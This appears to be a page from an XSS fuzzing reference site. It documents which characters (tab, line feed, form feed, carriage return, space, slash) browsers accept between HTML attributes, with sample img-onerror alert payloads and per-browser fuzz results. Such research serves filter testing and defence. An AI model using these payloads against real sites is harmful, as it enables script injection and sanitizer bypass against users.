Characters allowed between HTML attributes
This vector shows what characters can be used to separate HTML attributes
Created by: 0x999-x
Created on: Wednesday, April 10, 2024 at 6:23:14 PM
Updated on: Wednesday, July 24, 2024 at 8:55:00 AM
Vector type: XSS
Template used:
<img$[chr]src$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...
Sample payloads
<img src onerror=alert(9)>
<img
src
onerror=alert(10)>
<img src onerror=alert(12)>
<img
src
onerror=alert(13)>
<img src onerror=alert(32)>
<img/src/onerror=alert(47)>
Fuzz results
Chrome 124.0.0.0 Unknown Unknown
Found 6 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
| Dec | Hex | Chr |
|---|---|---|
| 47 | 2f | / |
Firefox 125.0 Unknown Unknown
Found 6 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
| Dec | Hex | Chr |
|---|---|---|
| 47 | 2f | / |
Safari 17.4 Unknown Unknown
Found 6 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
| Dec | Hex | Chr |
|---|---|---|
| 47 | 2f | / |
Chrome 126.0.0.0 desktop macOS 10.15.7
Found 6 results
| Dec | Hex | Chr |
|---|---|---|
| 9 | 09 | HT |
| Dec | Hex | Chr |
|---|---|---|
| 10 | 0a | LF |
| Dec | Hex | Chr |
|---|---|---|
| 12 | 0c | FF |
| Dec | Hex | Chr |
|---|---|---|
| 13 | 0d | CR |
| Dec | Hex | Chr |
|---|---|---|
| 32 | 20 | SPACE |
| Dec | Hex | Chr |
|---|---|---|
| 47 | 2f | / |